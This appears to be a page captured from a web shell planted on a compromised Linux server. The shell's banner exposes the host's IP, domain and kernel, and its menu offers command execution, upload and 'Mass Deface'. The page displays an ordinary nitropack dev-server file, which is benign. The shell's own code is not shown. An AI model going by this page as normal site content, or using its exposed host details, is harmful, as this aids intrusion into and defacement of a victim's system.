���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.2
/
nitropack
/
dist
/
runtime
/
entries
/
Viewing: nitro-dev.mjs
import "#internal/nitro/virtual/polyfill"; import { Server } from "node:http"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { mkdirSync } from "node:fs"; import { threadId, parentPort } from "node:worker_threads"; import { isWindows, provider } from "std-env"; import { defineEventHandler, getQuery, getRouterParam, toNodeListener, readBody } from "h3"; import wsAdapter from "crossws/adapters/node"; import { nitroApp } from "../app.mjs"; import { trapUnhandledNodeErrors } from "../utils.mjs"; import { runTask, startScheduleRunner } from "../task.mjs"; import { tasks, scheduledTasks } from "#internal/nitro/virtual/tasks"; const server = new Server(toNodeListener(nitroApp.h3App)); if (import.meta._websocket) { const { handleUpgrade } = wsAdapter(nitroApp.h3App.websocket); server.on("upgrade", handleUpgrade); } function getAddress() { if (provider === "stackblitz" || process.env.NITRO_NO_UNIX_SOCKET || process.versions.bun) { return 0; } const socketName = `worker-${process.pid}-${threadId}.sock`; if (isWindows) { return join("\\\\.\\pipe\\nitro", socketName); } else { const socketDir = join(tmpdir(), "nitro"); mkdirSync(socketDir, { recursive: true }); return join(socketDir, socketName); } } const listenAddress = getAddress(); const listener = server.listen(listenAddress, () => { const _address = server.address(); parentPort.postMessage({ event: "listen", address: typeof _address === "string" ? { socketPath: _address } : { host: "localhost", port: _address.port } }); }); nitroApp.router.get( "/_nitro/tasks", defineEventHandler(async (event) => { const _tasks = await Promise.all( Object.entries(tasks).map(async ([name, task]) => { const _task = await task.resolve?.(); return [name, { description: _task?.meta?.description }]; }) ); return { tasks: Object.fromEntries(_tasks), scheduledTasks }; }) ); nitroApp.router.use( "/_nitro/tasks/:name", defineEventHandler(async (event) => { const name = getRouterParam(event, "name"); const payload = { ...getQuery(event), ...await readBody(event).then((r) => r?.payload).catch(() => ({})) }; return await runTask(name, { payload }); }) ); trapUnhandledNodeErrors(); async function onShutdown(signal) { await nitroApp.hooks.callHook("close"); } parentPort.on("message", async (msg) => { if (msg && msg.event === "shutdown") { await onShutdown(); parentPort.postMessage({ event: "exit" }); } }); if (import.meta._tasks) { startScheduleRunner(); }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa